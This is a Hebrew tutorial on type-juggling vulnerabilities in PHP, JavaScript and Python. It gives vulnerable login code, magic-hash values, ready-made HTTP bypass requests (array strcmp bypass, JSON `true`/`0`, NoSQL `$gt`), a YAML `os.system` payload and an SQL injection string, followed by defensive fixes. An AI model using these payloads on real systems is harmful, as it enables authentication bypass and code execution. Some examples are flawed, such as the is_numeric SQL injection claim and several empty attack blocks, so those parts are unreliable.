בלבול טיפוסים - Type Juggling¶
מהו בלבול טיפוסים¶
בלבול טיפוסים (Type Juggling) הוא ניצול ההתנהגות של שפות תכנות שמבצעות המרת טיפוסים אוטומטית בזמן השוואה או פעולות חשבוניות. הבעיה הבולטת ביותר היא ב-PHP, אבל קיימת גם ב-JavaScript ובשפות נוספות.
כשאפליקציה משתמשת בהשוואה רופפת (loose comparison) במקום השוואה מחמירה (strict comparison), תוקף יכול לשלוח קלט מטיפוס שונה שיעבור את הבדיקה בצורה בלתי צפויה.
השוואה רופפת מול מחמירה ב-PHP¶
ההבדל בין == ל-===¶
// השוואה רופפת - == (מבצעת המרת טיפוסים)
var_dump(0 == "password"); // true! (string -> int = 0)
var_dump("0" == false); // true!
var_dump("" == false); // true!
var_dump(null == false); // true!
var_dump("0" == null); // false
var_dump("1" == "01"); // true! (שניהם -> int 1)
var_dump("1" == "1.0"); // true!
var_dump(0 == "0e12345"); // true! (0 == 0)
// השוואה מחמירה - === (בודקת גם טיפוס)
var_dump(0 === "password"); // false
var_dump("0" === false); // false
var_dump("1" === "01"); // false
טבלת השוואה רופפת ב-PHP¶
| true | false | 1 | 0 | -1 | "1" | "0" | "" | null
---------|-------|-------|------|------|------|------|------|------|------
true | true | false | true | false| true | true | false| false| false
false | false | true | false| true | false| false| true | true | true
1 | true | false | true | false| false| true | false| false| false
0 | false | true | false| true | false| false| true | false*| false*
"php" | true | false | false| true*| false| false| false| false| false
* ב-PHP < 8.0 (ב-PHP 8.0+ שונה!)
הערה חשובה: ב-PHP 8.0 שינו את ההתנהגות של 0 == "string" ל-false. אבל גרסאות ישנות יותר עדיין נפוצות מאוד.
האשים קסומים - Magic Hashes¶
מהם האשים קסומים¶
ב-PHP, מחרוזות שמתחילות ב-0e ואחריהן רק ספרות מפורשות כסימון מדעי (scientific notation) בהשוואה רופפת:
"0e462097431906509019562988736854" == "0" // true!
// כי PHP מפרשת "0e..." כ-0 * 10^462... = 0
// ו-"0" = 0
// אז 0 == 0 -> true
דוגמאות של magic hashes¶
ערכים שה-MD5 שלהם מתחיל ב-0e ואחריו רק ספרות:
MD5 Magic Hashes:
=================
מחרוזת: "240610708"
MD5: "0e462097431906509019562988736854"
מחרוזת: "QNKCDZO"
MD5: "0e830400451993494058024219903391"
מחרוזת: "aabg7XSs"
MD5: "0e087386482136013740957780965295"
SHA1 Magic Hashes:
==================
מחרוזת: "aaroZmOk"
SHA1: "0e66507019969427134894567494305185566735"
מחרוזת: "aaK1STfY"
SHA1: "0e76658526655756207688271159624026011393"
ניצול בעיסקה - Exploitation¶
קוד אימות פגיע:
// פגיע - השוואה רופפת של hash
function verifyPassword($input, $storedHash) {
$inputHash = md5($input);
if ($inputHash == $storedHash) {
return true; // מאומת!
}
return false;
}
// תרחיש:
// הסיסמה של הקורבן: "240610708"
// ה-hash: "0e462097431906509019562988736854"
//
// התוקף שולח: "QNKCDZO"
// ה-hash: "0e830400451993494058024219903391"
//
// "0e462..." == "0e830..." -> 0 == 0 -> true!
// התוקף נכנס עם סיסמה שגויה!
עקיפת אימות באמצעות מניפולציית טיפוסים ב-JSON¶
שליחת true במקום סיסמה¶
ב-PHP, כאשר אפליקציה מקבלת JSON ומשווה עם ==:
$data = json_decode(file_get_contents('php://input'), true);
// פגיע!
if ($data['password'] == $storedPassword) {
// מאומת
}
בקשה תקינה:
POST /login HTTP/1.1
Content-Type: application/json
{"username": "admin", "password": "secretpassword123"}
בקשת תקיפה:
למה זה עובד:
ב-JSON ניתן לשלוח true כערך בוליאני (לא כמחרוזת "true"). ב-PHP, true בהשוואה רופפת שווה לכל מחרוזת לא ריקה.
שליחת 0 במקום סיסמה¶
עקיפת strcmp¶
הפונקציה strcmp() ב-PHP מחזירה 0 אם המחרוזות שוות, ערך שלילי או חיובי אם לא. אבל כשמעבירים לה מערך במקום מחרוזת:
// פגיע
if (strcmp($input, $password) == 0) {
// מאומת
}
// אם $input הוא מערך:
strcmp([], "password") // מחזיר NULL + PHP Warning
NULL == 0 // true!
בקשת תקיפה:
POST /login HTTP/1.1
Content-Type: application/x-www-form-urlencoded
username=admin&password[]=anything
ב-PHP, שליחת password[] יוצרת מערך במקום מחרוזת. strcmp מקבלת מערך, מחזירה NULL, ו-NULL == 0 זה true.
עקיפת intval ו-is_numeric¶
עקיפת is_numeric¶
is_numeric("0xdeadbeef") // true ב-PHP < 7.0!
is_numeric("1e5") // true (100000)
is_numeric(" 123 ") // true (רווחים מתעלמים)
עקיפת intval¶
intval("1337") // 1337
intval("1337abc") // 1337 (מתעלם מתווים לא-מספריים)
intval("0x539") // 0 (לא תומך בהקסדצימלי בברירת מחדל)
intval("0x539", 16) // 1337
// ניצול: עקיפת בדיקה
if (intval($input) <= 100) {
// "101abc" -> intval = 101, לא יעבור
// אבל מה אם הערך משמש מאוחר יותר כמחרוזת?
}
שימוש מעשי¶
// קוד פגיע - בדיקת גיל
$age = $_POST['age'];
if (is_numeric($age) && intval($age) >= 18) {
// הגישה מותרת
$query = "SELECT * FROM users WHERE age = $age";
// אם $age = "18 OR 1=1" -> intval = 18, עובר בדיקה
// אבל בשאילתה: "... WHERE age = 18 OR 1=1" -> SQLi!
}
בלבול טיפוסים ב-JavaScript¶
כפייה מרומזת - Type Coercion¶
// השוואה רופפת
console.log(0 == ""); // true
console.log(0 == "0"); // true
console.log("" == false); // true
console.log([] == false); // true
console.log(null == undefined); // true
// פעולות אריתמטיות
console.log("5" - 3); // 2 (string -> number)
console.log("5" + 3); // "53" (number -> string!)
console.log(true + true); // 2
// השוואות מפתיעות
console.log([] == 0); // true
console.log([] == ""); // true
console.log({} == "[object Object]"); // false (!)
ניצול ב-Node.js¶
// קוד פגיע
app.post('/login', (req, res) => {
const { username, password } = req.body;
const user = db.findUser(username);
// פגיע - השוואה רופפת
if (user && user.password == password) {
createSession(user);
return res.json({ success: true });
}
res.status(401).json({ error: 'Invalid credentials' });
});
ב-Express, אם שולחים JSON, password יכול להיות כל טיפוס:
בדוגמה הזו, אם בסיס הנתונים הוא MongoDB, {"$gt": ""} הוא אופרטור NoSQL שאומר "גדול ממחרוזת ריקה" - כל סיסמה תעבור.
בלבול טיפוסים ב-Python¶
Python בדרך כלל מחמירה יותר, אבל יש מקרים:
# Python לא עושה type coercion ב-==
0 == "0" # False (בניגוד ל-PHP)
# אבל בהשוואות בוליאניות:
bool(0) # False
bool("") # False
bool([]) # False
bool(None) # False
# ניצול - YAML deserialization
import yaml
data = yaml.load("password: !!python/object/apply:os.system ['id']")
# הערך "password" הופך לביצוע קוד!
# ניצול - JSON schema bypass
import json
data = json.loads('{"isAdmin": true}')
# data['isAdmin'] הוא True (בוליאני, לא מחרוזת)
if data.get('isAdmin'):
grant_admin() # תוקף שולח true ומקבל הרשאות
ניצול פרקטי ב-Flask¶
@app.route('/verify', methods=['POST'])
def verify():
data = request.get_json()
token = data.get('token')
expected = get_expected_token()
# פגיע אם expected הוא None או 0
if token == expected:
return jsonify({'verified': True})
# תקיפה: שליחת {"token": null}
# אם expected הוא None: None == None -> True
# תקיפה: שליחת {"token": 0}
# אם expected הוא 0 (או False): 0 == 0 -> True
דוגמה מקיפה - מערכת אימות פגיעה ב-PHP¶
class AuthController {
public function login($request) {
$username = $request->input('username');
$password = $request->input('password');
$user = User::where('username', $username)->first();
if (!$user) {
return response()->json(['error' => 'User not found'], 404);
}
// פגיעות 1: השוואה רופפת
if (md5($password) == $user->password_hash) {
return $this->createSession($user);
}
// פגיעות 2: strcmp עם ==
if (strcmp($password, $user->api_key) == 0) {
return $this->createSession($user);
}
// פגיעות 3: בדיקת טוקן
$token = $request->input('reset_token');
if ($token == $user->reset_token) {
return $this->createSession($user);
}
return response()->json(['error' => 'Authentication failed'], 401);
}
}
וקטורי תקיפה:
-- תקיפה 1: Magic Hash
POST /login HTTP/1.1
Content-Type: application/json
{"username": "victim", "password": "240610708"}
-- תקיפה 2: Array bypass על strcmp
POST /login HTTP/1.1
Content-Type: application/x-www-form-urlencoded
username=victim&password[]=anything
-- תקיפה 3: Boolean bypass על reset_token
POST /login HTTP/1.1
Content-Type: application/json
{"username": "victim", "reset_token": true}
-- תקיפה 4: Integer bypass (PHP < 8.0)
POST /login HTTP/1.1
Content-Type: application/json
{"username": "victim", "password": 0}
הגנות¶
שימוש בהשוואה מחמירה¶
המרת טיפוסים מפורשת¶
// פגיע
$quantity = $_POST['quantity'];
// מוגן
$quantity = (int) $_POST['quantity'];
if ($quantity <= 0) {
throw new InvalidArgumentException('Invalid quantity');
}
ולידציית טיפוס קלט¶
// וידוא שהקלט הוא מחרוזת
function validateStringInput($input): string {
if (!is_string($input)) {
throw new InvalidArgumentException('Expected string input');
}
return $input;
}
// שימוש
$password = validateStringInput($request->input('password'));
שימוש ב-password_verify¶
// פגיע - השוואה ידנית של hash
if (md5($password) == $storedHash) { ... }
// מוגן - password_verify מבצע השוואה בטוחה
if (password_verify($password, $storedHash)) { ... }
שימוש ב-hash_equals¶
// פגיע - השוואה רגילה (פגיעה גם ל-timing attack)
if ($token == $expectedToken) { ... }
// מוגן - השוואה בטוחה בזמן קבוע
if (hash_equals($expectedToken, $token)) { ... }
סיכום¶
בלבול טיפוסים הוא חולשה מסוכנת במיוחד כי הקוד נראה תקין לחלוטין. הנקודות המרכזיות:
- ב-PHP, תמיד השתמשו ב-
===ולא ב-== - חפשו פונקציות כמו
strcmp,intval,is_numericשניתנות לעקיפה - ב-JSON, אפשר לשלוח טיפוסים שונים -
true,0,null, מערכים - ב-magic hashes, ערכי hash שמתחילים ב-
0eשווים לאפס בהשוואה רופפת - בדקו גם JavaScript ו-Python עבור בעיות דומות
- הגנה: השוואה מחמירה, המרת טיפוסים מפורשת, ולידציית קלט